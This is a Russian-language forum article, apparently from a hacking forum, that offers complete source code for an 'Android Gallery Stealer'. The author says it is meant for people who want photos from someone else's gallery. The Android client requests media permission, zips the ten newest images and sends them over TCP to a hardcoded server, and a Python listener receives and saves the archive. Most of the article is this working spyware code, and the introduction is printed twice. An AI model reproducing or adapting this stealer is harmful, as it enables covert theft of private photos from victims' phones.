Android Gallery Stealer - Source Code
Решил написать небольшую статью для тех, кто по каким-то неведомым мне причинам хочет получить фотографии из галереи другого человека.
Статья не самая большая, но думаю, будет интересна.
Как обычно, код клиента я буду писать на Java(A).
Спойлер
Возможно, у некоторых возникнет вопрос, что означает "A" после Java.
Это неофициальное обозначение изменённой Java, используемой на Android
Код сервера в этот раз будет не на C# + WPF, а на Python, так как мне было лень использовать что-то более сложное.
Общение между клиентом и сервером осуществляется по TCP, при этом IP и порт сервера зашиты в коде клиента.
Начнем с кода клиента.
В первую очередь как обычно у нас AndroidManifest.xml:
Код: Скопировать в буфер обмена
Хочу добавить что пример с таким подходом работает на самых новых версиях Android
как 13/14 и если вы хотите использовать код на более старых версиях 12,11,10... То вам
нужно будет изменить логику в целом и использовать доступ к файлам -
Целый код будет выглядеть так:
XML: Скопировать в буфер обмена
Затем у нас код MainActivity.java с основной логикой:
Java: Скопировать в буфер обмена
Тут ваш ip сервера на который будут отправлены данные.
Java: Скопировать в буфер обмена
Проверка предоставленных разрешений.
Далее в коде будет представлена сама логика работы, но перед этим я хочу объяснить, как всё устроено.
Сначала код запрашивает разрешение на доступ к медиаконтенту. После этого он получает 10 последних изображений из галереи
и упаковывает их в файл .zip для удобной отправки. Затем код отправляет этот файл на сервер через TCP-соединение.
разрешения -> получение данных -> упаковка -> отправка -> получение сервером
Продолжим кодом который получает изображения:
Java: Скопировать в буфер обмена
Теперь код который упакует данные в .zip архив:
Java: Скопировать в буфер обмена
Код для отправки .zip на сервер:
Java: Скопировать в буфер обмена
И напоследок представлю код, который в самом начале вызывается и выполняет описанные выше функции.
Этот код получает 10 последних изображений из списка:
Java: Скопировать в буфер обмена
На этом код клиента закончен.
Полный код MainActivity.java:
Java: Скопировать в буфер обмена
Теперь перейдем к простому коду сервера на Python:
Python: Скопировать в буфер обмена
Сервер крайне простой без никаких фильтров и тд.
сохраняет лог в файл
Благодарю за внимание!
Если у вас есть какие-либо вопросы или дополнения к статье, буду рад обсудить их или помочь с пояснениями.
Решил написать небольшую статью для тех, кто по каким-то неведомым мне причинам хочет получить фотографии из галереи другого человека.
Статья не самая большая, но думаю, будет интересна.
Как обычно, код клиента я буду писать на Java(A).
Спойлер
Возможно, у некоторых возникнет вопрос, что означает "A" после Java.
Это неофициальное обозначение изменённой Java, используемой на Android
Код сервера в этот раз будет не на C# + WPF, а на Python, так как мне было лень использовать что-то более сложное.
Общение между клиентом и сервером осуществляется по TCP, при этом IP и порт сервера зашиты в коде клиента.
Начнем с кода клиента.
В первую очередь как обычно у нас AndroidManifest.xml:
Код: Скопировать в буфер обмена
Code:
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
как 13/14 и если вы хотите использовать код на более старых версиях 12,11,10... То вам
нужно будет изменить логику в целом и использовать доступ к файлам -
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
Целый код будет выглядеть так:
XML: Скопировать в буфер обмена
Code:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools">
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
<application
android:allowBackup="true"
android:dataExtractionRules="@xml/data_extraction_rules"
android:fullBackupContent="@xml/backup_rules"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.GallGrabNMZ"
tools:targetApi="31">
<activity
android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
Затем у нас код MainActivity.java с основной логикой:
Java: Скопировать в буфер обмена
Code:
private static final int REQUEST_PERMISSIONS = 100;
private static final String SERVER_IP = "0.0.0.0"; //Ip сервера
private static final int SERVER_PORT = 7777; //порт
Тут ваш ip сервера на который будут отправлены данные.
Java: Скопировать в буфер обмена
Code:
if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_MEDIA_IMAGES)
!= PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(this,
new String[]{Manifest.permission.READ_MEDIA_IMAGES}, REQUEST_PERMISSIONS);
} else {
new ZipAndSendTask().execute();
}
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
if (requestCode == REQUEST_PERMISSIONS && grantResults.length > 0
&& grantResults[0] == PackageManager.PERMISSION_GRANTED) {
new ZipAndSendTask().execute();
} else {
Log.e("MainActivity", "Разрешение не предоставлено");
}
}
Проверка предоставленных разрешений.
Далее в коде будет представлена сама логика работы, но перед этим я хочу объяснить, как всё устроено.
Сначала код запрашивает разрешение на доступ к медиаконтенту. После этого он получает 10 последних изображений из галереи
и упаковывает их в файл .zip для удобной отправки. Затем код отправляет этот файл на сервер через TCP-соединение.
разрешения -> получение данных -> упаковка -> отправка -> получение сервером
Продолжим кодом который получает изображения:
Java: Скопировать в буфер обмена
Code:
private ArrayList<String> getLastImages(int count) {
ArrayList<String> imagePaths = new ArrayList<>();
String[] projection = {MediaStore.Images.Media.DATA};
Cursor cursor = getContentResolver().query(
MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
projection, null, null,
MediaStore.Images.Media.DATE_ADDED + " DESC");
if (cursor != null) {
int dataIndex = cursor.getColumnIndex(MediaStore.Images.Media.DATA);
while (cursor.moveToNext() && imagePaths.size() < count) {
imagePaths.add(cursor.getString(dataIndex));
}
cursor.close();
}
return imagePaths;
}
Теперь код который упакует данные в .zip архив:
Java: Скопировать в буфер обмена
Code:
private File zipImages(ArrayList<String> imagePaths) {
try {
File zipFile = new File(getCacheDir(), "images.zip");
ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(zipFile));
for (String imagePath : imagePaths) {
File imageFile = new File(imagePath);
FileInputStream fis = new FileInputStream(imageFile);
ZipEntry zipEntry = new ZipEntry(imageFile.getName());
zos.putNextEntry(zipEntry);
byte[] buffer = new byte[1024];
int length;
while ((length = fis.read(buffer)) > 0) {
zos.write(buffer, 0, length);
}
zos.closeEntry();
fis.close();
}
zos.close();
return zipFile;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
Код для отправки .zip на сервер:
Java: Скопировать в буфер обмена
Code:
private void sendZipToServer(File zipFile) {
try {
Socket socket = new Socket(SERVER_IP, SERVER_PORT);
OutputStream os = new BufferedOutputStream(socket.getOutputStream());
FileInputStream fis = new FileInputStream(zipFile);
byte[] buffer = new byte[1024];
int length;
while ((length = fis.read(buffer)) > 0) {
os.write(buffer, 0, length);
}
os.flush();
os.close();
fis.close();
socket.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
И напоследок представлю код, который в самом начале вызывается и выполняет описанные выше функции.
Этот код получает 10 последних изображений из списка:
Java: Скопировать в буфер обмена
Code:
private class ZipAndSendTask extends AsyncTask<Void, Void, Void> {
@Override
protected Void doInBackground(Void... voids) {
try {
ArrayList<String> imagePaths = getLastImages(10); //колво изображений
if (!imagePaths.isEmpty()) {
// Упаковываем
File zipFile = zipImages(imagePaths);
if (zipFile != null) {
// Отправляем
sendZipToServer(zipFile);
}
}
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
На этом код клиента закончен.
Полный код MainActivity.java:
Java: Скопировать в буфер обмена
Code:
package .nmz.gallgrab_nmz;
import android.Manifest;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.os.AsyncTask;
import android.os.Bundle;
import android.provider.MediaStore;
import android.util.Log;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.util.ArrayList;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
public class MainActivity extends AppCompatActivity {
private static final int REQUEST_PERMISSIONS = 100;
private static final String SERVER_IP = "";
private static final int SERVER_PORT = ;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// Проверка разрешений
if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_MEDIA_IMAGES)
!= PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(this,
new String[]{Manifest.permission.READ_MEDIA_IMAGES}, REQUEST_PERMISSIONS);
} else {
new ZipAndSendTask().execute();
}
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
if (requestCode == REQUEST_PERMISSIONS && grantResults.length > 0
&& grantResults[0] == PackageManager.PERMISSION_GRANTED) {
new ZipAndSendTask().execute();
} else {
Log.e("MainActivity", "Разрешение не предоставлено");
}
}
private class ZipAndSendTask extends AsyncTask<Void, Void, Void> {
@Override
protected Void doInBackground(Void... voids) {
try {
ArrayList<String> imagePaths = getLastImages(10); //колво изображений
if (!imagePaths.isEmpty()) {
// Упаковываем
File zipFile = zipImages(imagePaths);
if (zipFile != null) {
// Отправляем
sendZipToServer(zipFile);
}
}
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
private ArrayList<String> getLastImages(int count) {
ArrayList<String> imagePaths = new ArrayList<>();
String[] projection = {MediaStore.Images.Media.DATA};
Cursor cursor = getContentResolver().query(
MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
projection, null, null,
MediaStore.Images.Media.DATE_ADDED + " DESC");
if (cursor != null) {
int dataIndex = cursor.getColumnIndex(MediaStore.Images.Media.DATA);
while (cursor.moveToNext() && imagePaths.size() < count) {
imagePaths.add(cursor.getString(dataIndex));
}
cursor.close();
}
return imagePaths;
}
// Упаковка
private File zipImages(ArrayList<String> imagePaths) {
try {
File zipFile = new File(getCacheDir(), "images.zip");
ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(zipFile));
for (String imagePath : imagePaths) {
File imageFile = new File(imagePath);
FileInputStream fis = new FileInputStream(imageFile);
ZipEntry zipEntry = new ZipEntry(imageFile.getName());
zos.putNextEntry(zipEntry);
byte[] buffer = new byte[1024];
int length;
while ((length = fis.read(buffer)) > 0) {
zos.write(buffer, 0, length);
}
zos.closeEntry();
fis.close();
}
zos.close();
return zipFile;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
// Отправка
private void sendZipToServer(File zipFile) {
try {
Socket socket = new Socket(SERVER_IP, SERVER_PORT);
OutputStream os = new BufferedOutputStream(socket.getOutputStream());
FileInputStream fis = new FileInputStream(zipFile);
byte[] buffer = new byte[1024];
int length;
while ((length = fis.read(buffer)) > 0) {
os.write(buffer, 0, length);
}
os.flush();
os.close();
fis.close();
socket.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
Теперь перейдем к простому коду сервера на Python:
Python: Скопировать в буфер обмена
Code:
import socket
def start_server():
server_ip = "0.0.0.0"
server_port = 4444
buffer_size = 1024
output_file = "received_images.zip"
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
server_socket.bind((server_ip, server_port))
server_socket.listen(1)
print(f"Сервер запущен{server_ip}:{server_port}")
conn, addr = server_socket.accept()
with conn:
print(f"Подключено {addr}")
with open(output_file, "wb") as file:
while True:
data = conn.recv(buffer_size)
if not data:
break
file.write(data)
print(f"Файл сохранен{output_file}")
if __name__ == "__main__":
start_server()
Сервер крайне простой без никаких фильтров и тд.
сохраняет лог в файл
received_images.zip
в директории с самим собой.Благодарю за внимание!
Если у вас есть какие-либо вопросы или дополнения к статье, буду рад обсудить их или помочь с пояснениями.